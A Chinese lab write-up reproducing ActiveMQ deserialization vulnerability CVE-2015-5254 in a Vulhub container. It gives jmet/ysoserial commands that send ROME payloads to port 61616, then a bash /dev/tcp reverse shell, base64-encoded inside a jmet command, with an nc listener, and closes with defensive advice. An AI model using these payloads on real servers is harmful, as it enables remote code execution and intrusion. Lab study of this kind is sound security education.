ActiveMQ 反序列化漏洞CVE-2015-5254复现

文章目录

      • 一、产生原因
      • 二、利用条件
      • 三、利用过程
      • 四、PoC（概念验证）
      • 五、poc环境验证
        • 使用find搜索vulhub已安装目录
        • 打开activeMQ组件
        • 查看配置文件端口
        • 启动镜像-文件配置好后
        • 对于Docker 镜像下载问题及解决办法
        • 设置好镜像源地址，进行重启docker
        • 查看docker容器状态
        • 5.1 docker拉取资源
        • 5.2 访问漏洞环境
        • 5.3 进行攻击靶场
        • 5.4 反弹shell
      • 六、防御措施

ActiveMQ反序列化漏洞（CVE-2015-5254）是一个严重的安全漏洞，以下是对该漏洞的产生原因、利用条件和过程以及PoC（Proof of Concept，概念验证）的详细分析：

[漏洞环境搭建]:Vulhub - Docker-Compose file for vulnerability environment
[搭建Vulhub和jdk和docker环境参考]:(https://blog.csdn.net/m0_59839948/article/details/141931317)

一、产生原因

Apache ActiveMQ是由美国Apache软件基金会开发的开源消息传递中间件，它支持Java消息传递服务、集群、Spring框架等。

CVE-2015-5254漏洞的产生原因是Apache ActiveMQ在5.13.0之前的5.x版本中，程序没有限制可在代理中序列化的类。这意味着远程攻击者可以构造特制的序列化的Java消息服务（JMS）ObjectMessage对象，并通过该漏洞在目标系统上执行任意代码。

首先是 org.apache.activemq.util.JMSExceptionSupport.createSerializableException() 方法中的缺陷，该方法将 JMSException 异常对象序列化为字节数组，这个字节数组包含了 cause 内的异常和 message 内的信息。攻击者可以构造精心设计的 cause 和 message 来注入恶意代码。接着，ActiveMQ 的 BlobMessage 与 ActiveMQMessage 消息类型中，也存在缺陷，它们并没有充分校验所接收消息的类型和信息，而是直接调用了 JMSExceptionSupport.createSerializableException() 方法将 JMSException 对象序列化为字节数组，从而使得攻击者可以执行任意代码。

二、利用条件

要利用CVE-2015-5254漏洞，攻击者需要满足以下条件：

  1. 目标系统需要运行Apache ActiveMQ 5.13.0之前的5.x版本。
  2. 攻击者需要能够向目标ActiveMQ服务器发送JMS消息。
  3. 攻击者需要构造并发送包含恶意序列化数据的JMS ObjectMessage。

三、利用过程

CVE-2015-5254漏洞的利用过程大致如下：

  1. 构造恶意消息：攻击者首先使用工具（如ysoserial）构造一个包含恶意代码的序列化JMS ObjectMessage。这个恶意代码可以是任何能够在目标系统上执行的命令。
  2. 发送恶意消息：攻击者将构造好的恶意消息发送到目标ActiveMQ服务器的61616端口（这是ActiveMQ的默认工作端口，用于消息传递）。
  3. 触发漏洞：当ActiveMQ服务器接收到这个恶意消息并尝试对其进行反序列化时，会触发漏洞，导致恶意代码在目标系统上执行。
  4. 执行任意代码：一旦恶意代码被执行，攻击者就可以在目标系统上执行任意操作，如窃取敏感数据、部署恶意软件或发起其他攻击。

四、PoC（概念验证）

以下是一个简单的PoC示例，展示了如何利用CVE-2015-5254漏洞在目标系统上执行任意命令：

  1. 下载并配置jmet工具：首先，攻击者需要下载jmet工具（一个用于利用ActiveMQ反序列化漏洞的工具）。然后，在同目录下创建一个external文件夹（这是jmet工具的要求,否则可能会出现文件夹不存在的错误)）。

  2. 构造并发送恶意消息：jmet–》jmet-0.1.0-all下载，jmet是使用ysoserial来生成Payload并发送的(jar自带ysoserial，我们不需要再下载)，所以我们需要选择一个可以在ysoserial中使用的小工具，比如ROME。 使用jmet工具构造一个包含恶意命令的序列化JMS ObjectMessage，并将其发送到目标ActiveMQ服务器的61616端口。例如，可以使用以下命令来构造并发送一个包含“touch /tmp/success”命令的恶意消息：

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME target_ip 61616

    其中，-Q指定队列消息名，-I选择要装载的JMS客户端（这里是ActiveMQ），-s是选择ysoserial payload，-Y指定具体的命令，-Yp指定payload类型（这里是ROME），target_ip是目标ActiveMQ服务器的IP地址，61616是目标ActiveMQ服务器的工作端口。

  3. 验证漏洞利用是否成功：攻击者可以通过访问目标系统的/tmp目录来检查是否成功创建了名为“success”的文件。如果文件存在，则说明漏洞利用成功。

五、poc环境验证

使用find搜索vulhub已安装目录
find . -type d -name "vulhub"  
-- . 表示当前目录，-type d 表示搜索类型为目录sudo find / -type d -name "vulhub" 2>/dev/null-- 2>/dev/null 是为了将错误消息（例如权限不足的目录）重定向到空设备，以避免干扰搜索结果。
打开activeMQ组件
/home/kali/vulhub/activemq/CVE-2015-5254

在这里插入图片描述

查看配置文件端口

在这里插入图片描述

启动镜像-文件配置好后
sudo docker-compose up -d   # -d是后台运行

在这里插入图片描述

对于Docker 镜像下载问题及解决办法

参考：https://blog.csdn.net/weixin_53742691/article/details/143176183
在 /etc/docker/daemon.json 文件中添加以下内容，以设置镜像加速器：

  {"registry-mirrors" : ["https://jkfdsf2u.mirror.aliyuncs.com","https://registry.docker-cn.com"],"insecure-registries" : ["docker-registry.zjq.com"],"log-driver": "json-file","log-opts": {"max-size": "10m","max-file": "10"},"data-root": "/data/docker"}
设置好镜像源地址，进行重启docker
1. cd /etc/docker/2. 创建一个docker 的配置文件：daemon.json（要是存在就不需要创建了）
touch daemon.json3. 给予权限; chmod 777 daemon.json4.编辑 daemon.json，添加阿里云源vi daemon.json
输入时按i健，然后进行替换，完成之后按Esc健进行退出，再按:wq!进行保存退出
{"registry-mirrors": ["https://alzgoonw.mirror.aliyuncs.com"]}清理docker缓存
sudo docker system prune5.完成以上步骤，接下来重新加载文件和重启docker
systemctl daemon-reload
systemctl restart docker
查看docker容器状态
sudo  docker ps -a  # 查看docker的启动服务
sudo docker stop 128e    #128e是docker容器id的缩写

在这里插入图片描述

5.1 docker拉取资源

在这里插入图片描述

sudo  docker ps -a  # 查看docker的启动服务

在这里插入图片描述

5.2 访问漏洞环境

用本地机访问kali中docker容器中MQ,已成功部署

在这里插入图片描述

可以看到主页，然后点击Manage ActiveMQ broker 进入到登录界面，用户名和密码都是admin

在这里插入图片描述

登录成功，Queues的消息队列是空的

在这里插入图片描述

5.3 进行攻击靶场
构建攻击payload：
首先下载jmet的jar文件，并在同目录下创建一个external文件夹（否则可能会爆文件夹不存在的错误）。jmet原理是使用ysoserial生成Payload并发送（其jar内自带ysoserial，无需再自己下载），所以我们需要在ysoserial是gadget中选择一个可以使用的，比如ROME。

cd /opt
mkdir external
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

在这里插入图片描述

到kali里边直接使用jmet-0.1.0-all.jar 创建目录进行验证命令：

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "touch /tmp/weig_test" -Yp ROME 192.168.225.166 61616

在这里插入图片描述

看到队列里出现了一个event新的任务

在这里插入图片描述

点进event，点进去任务详情触发

在这里插入图片描述

进入docker检验漏洞是否存在,看看/tmp下面是否有我们写入的文件先查看docker的进程：

docker ps -a

在这里插入图片描述

进入容器：docker exec -it 128eab244067 /bin/bash ，进入到‘/tmp’目录可以看到weig_test文件存在，说明漏洞利用成功

docker exec -it 128eab244067  /bin/bash

在这里插入图片描述

5.4 反弹shell

可以看到文件被成功写入，确认漏洞之后就可以进行getshell，更换一下命令即可。

echo "bash -i >& /dev/tcp/192.168.225.166/5555 0>&1" >/tmp/shell.sh && bash /tmp/shell.sh   # ip是攻击机kali地址echo: 这个命令用于输出的字符串。
bash -i: 启动一个交互式的 Bash shell。
/dev/tcp/ 是一个伪设备，用于在 Bash 中实现 TCP 连接。
>& /dev/tcp/192.168.225.166/5555: 利用 Bash 的特殊功能，通过 TCP 连接到 IP 地址为 192.168.225.166，端口号为 5555 的服务器。
0>&1: 这是重定向的一部分，将标准输入（文件描述符 0）重定向到标准输出（文件描述符 1），确保 shell 会话中的交互能够正常工作。
>/tmp/shell.sh: 这将 echo 命令的输出重定向到 /tmp/shell.sh 文件中，而不是显示在终端上

编码base64

ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNTU1NSAwPiYxIiA+L3RtcC9zaGVsbC5zaCAmJiBiYXNoIC90bXAvc2hlbGwuc2g=

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNTU1NSAwPiYxIiA+L3RtcC9zaGVsbC5zaCAmJiBiYXNoIC90bXAvc2hlbGwuc2g=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.225.166 61616

在这里插入图片描述
进行点击
在这里插入图片描述
点击这个ID号
在这里插入图片描述
进入此页面，已触发
在这里插入图片描述
使用kali进行监听端口，当点击详情后成功反弹shell

nc -lvnp 5555

在这里插入图片描述
反弹shell成功，至此漏洞复现完成。

六、防御措施

为了防范CVE-2015-5254漏洞，建议采取以下防御措施：

  1. 升级ActiveMQ版本：尽快将ActiveMQ升级到5.13.0或更高版本，以修复该漏洞。
  2. 限制消息类型：在ActiveMQ的配置中限制可接受的消息类型，避免接受未知的或不受信任的消息类型。
  3. 加强访问控制：配置防火墙规则以限制对ActiveMQ服务器的访问，确保只有受信任的用户或系统能够发送消息到ActiveMQ服务器。
  4. 监控和日志记录：启用ActiveMQ的监控和日志记录功能，以便及时发现并响应可疑活动。

综上所述，CVE-2015-5254漏洞是一个严重的安全威胁，用户应尽快采取措施进行修复和防范。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/491393.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

【Python】【数据分析】深入探索 Python 数据可视化：Seaborn 可视化库详解

【Python】【数据分析】深入探索 Python 数据可视化：Seaborn 可视化库详解

目录 引言一、Seaborn 简介二、安装 Seaborn三、Seaborn 的基本图形3.1 散点图（Scatter Plot）3.2 线图（Line Plot）3.3 条形图（Bar Plot）3.4 箱型图（Box Plot）3.5 小提琴图&#xff0…
阅读更多...
某药业数据中心与重工集团灾备中心SAP监测实战应用

某药业数据中心与重工集团灾备中心SAP监测实战应用

在当今数字化转型的浪潮中，企业的IT系统承载着前所未有的业务压力。作为业务运营的核心支撑，SAP系统的稳定性和性能优化成为运维团队关注的重点。本文将结合两个实际案例——某药业集团数据中心（以下简称“药业数据中心”）与某重工…
阅读更多...
Qt编译MySQL数据库驱动

Qt编译MySQL数据库驱动

目录 Qt编译MySQL数据库驱动 测试程序 Qt编译MySQL数据库驱动 （1）先找到MySQL安装路径以及Qt安装路径 C:\Program Files\MySQL\MySQL Server 8.0 D:\qt\5.12.12 （2）在D:\qt\5.12.12\Src\qtbase\src\plugins\sqldrivers\mysql下…
阅读更多...
开发布局总结

开发布局总结

线性布局 (Row/Column) 概述： 线性容器Row和Column构建。线性布局是其他布局的基础，其子元素在线性方向上（水平方向和垂直方向）依次排列。线性布局的排列方向由所选容器组件决定，Column容器内子元素按照垂直方向排列…
阅读更多...
网络数据包分析

网络数据包分析

Target 实践内容：使用 Wireshark 捕获和分析网络流量。 涉及知识点：Wireshark 基本使用、数据包结构、理解网络协议分析、网络流量分析。 Trial Wireshark使用WinPCAP作为接口，直接与网卡进行数据报文交换。 Wireshark基本使用 勾选 WLA…
阅读更多...
游戏引擎学习第45天

游戏引擎学习第45天

仓库: https://gitee.com/mrxiao_com/2d_game 回顾 我们刚刚开始研究运动方程，展示了如何处理当人物遇到障碍物时的情况。有一种版本是角色会从障碍物上反弹，而另一版本是角色会完全停下来。这种方式感觉不太自然，因为在游戏中，…
阅读更多...
微知-C语言如何指定弱符号？(#define WEAK __attribute__((weak))； WEAK int foo(void))

微知-C语言如何指定弱符号？(#define WEAK __attribute__((weak))； WEAK int foo(void))

背景 在C语言中，弱符号是一种特殊的符号，它可以被重定义，但在链接时，只会使用被重定义的符号。 在某些情况下，我们需要在多个文件中定义相同的函数，但只使用其中一个函数。本文将介绍如何在C语言中实现弱符…
阅读更多...
windos系统安装-mysql 5.7 zip压缩包教程

windos系统安装-mysql 5.7 zip压缩包教程

一, 安装包下载 在mysql官网上下载mysql5.7版本的压缩包 官方网址: https://dev.mysql.com/downloads/mysql/5.7.html#downloads选择历史版本 选择系统和数据库版本下载 下载完成后解压到安装的目录 二, 新增数据目录,配置文件, 配置环境变量 新建data文件夹用于存放数据库…
阅读更多...
Tengine 搭建手册

Tengine 搭建手册

简介 官网： tengine.taobao.org/ Tengine是由[淘宝](http://en.wikipedia.org/wiki/Taobao)发起的Web服务器项目。它在[Nginx](https://nginx.org/)的基础上，针对大访问量网站的需求，添加了很多高级功能和特性。Tengine的性能和稳定性已经在…
阅读更多...
MybatisPlus-配置加密

MybatisPlus-配置加密

配置加密 目前配置文件中的很多参数都是明文，如果开发人员发生流动，很容易导致敏感信息的泄露。所以MybatisPlus支持配置文件的加密和解密功能。 我们以数据库的用户名和密码为例。 生成秘钥 首先，我们利用AES工具生成一个随机秘钥&#…
阅读更多...
【机器学习(五)】分类和回归任务-AdaBoost算法-Sentosa_DSML社区版 (2)11

【机器学习(五)】分类和回归任务-AdaBoost算法-Sentosa_DSML社区版 (2)11

文章目录 一、算法概念11一、算法原理（一）分类算法基本思路1、训练集和权重初始化2、弱分类器的加权误差3、弱分类器的权重4、Adaboost 分类损失函数5、样本权重更新6、AdaBoost 的强分类器 （二）回归算法基本思路1、最大误差的计算…
阅读更多...
前端入门之VUE--ajax、vuex、router，最后的前端总结

前端入门之VUE--ajax、vuex、router，最后的前端总结

前言 VUE是前端用的最多的框架；这篇文章是本人大一上学习前端的笔记；欢迎点赞 收藏 关注，本人将会持续更新。本人不是学前端的，这个是大一的时候上学的和做的笔记，那个时候学的也蒙，故这里对前端做一个总…
阅读更多...
GB28181系列三：GB28181流媒体服务器ZLMediaKit

GB28181系列三：GB28181流媒体服务器ZLMediaKit

我的音视频/流媒体开源项目(github) GB28181系列目录 目录 一、ZLMediaKit介绍 二、 ZLMediaKit安装、运行(Ubuntu) 1、安装 2、运行 3、配置 三、ZLMediaKit使用 一、ZLMediaKit介绍 ZLMediaKit是一个基于C11的高性能运营级流媒体服务框架，项目地址&#xf…
阅读更多...
人工智能增强的音频和聊天协作服务

人工智能增强的音频和聊天协作服务

论文标题：AI-enabled Audio and Chat Collaboration Services 中文标题：人工智能增强的音频和聊天协作服务 作者信息： Emil P. Andersen, Norwegian Defence Research Establishment (FFI), Kjeller, NorwayJesper R. Goksr, Sindre E. Ha…
阅读更多...
构建树莓派温湿度监测系统：从硬件到软件的完整指南

构建树莓派温湿度监测系统：从硬件到软件的完整指南

✅作者简介：2022年博客新星 第八。热爱国学的Java后端开发者，修心和技术同步精进。 🍎个人主页：Java Fans的博客 🍊个人信条：不迁怒，不贰过。小知识，大智慧。 💞当前专栏…
阅读更多...
企业内训｜阅读行业产品运营实战训练营-某运营商数字娱乐公司

企业内训｜阅读行业产品运营实战训练营-某运营商数字娱乐公司

近日，TsingtaoAI公司为某运营商旗下数字娱乐公司组织的“阅读行业产品运营实战训练营”在杭州落下帷幕。此次训练营由TsingtaoAI资深互联网产品专家程靖主持。该公司的业务骨干——来自内容、市场、业务、产品与技术等跨部门核心岗位、拥有8-10年实战经验的中坚力量…
阅读更多...
vue+node+mysql8.0，详细步骤及报错解决方案

vue+node+mysql8.0，详细步骤及报错解决方案

1.下载需要安装的插件 下载express npm install express下载cors，用于处理接口跨域问题 npm install cors下载mysql npm install mysql 2.配置服务器 可以在vue项目的src同级创建server文件夹（这里的位置可随意选择） 然后依次创建&#…
阅读更多...
C语言刷题（2）

C语言刷题（2）

5. 题目描述 KIKG今年5岁了，已经能够认识100以内的非负整数，并且并目能够 进行 100 以内的非负整数的加法计算，不过，老师发现KIK在进行大于等于100的正整数的计算时，规则如下: 1.只保留该数的最后两位，例…
阅读更多...
360智脑张向征：共建可信可控AI生态 应对大模型安全挑战

360智脑张向征：共建可信可控AI生态 应对大模型安全挑战

发布 | 大力财经 人工智能的加速发展，有力推动了社会的数智化转型；与此同时，带来的相关安全风险也日益凸显。近日，在北京市举办的通明湖人工智能开发与应用大会上，360智脑总裁张向征以“大模型安全研究与实践”为主题&…
阅读更多...
相机标定中的相机模型

相机标定中的相机模型

一、相机标定基本原理 在图像测量过程以及机器视觉应用中，为确定空间物体表面某点的三维几何位置与其在图像中对应点之间的相互关系，必须建立摄像机成像的几何模型,这些几何模型参数就是摄像机参数。在大多数条件下这些参数必须通过实验与计算才能得到&…
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023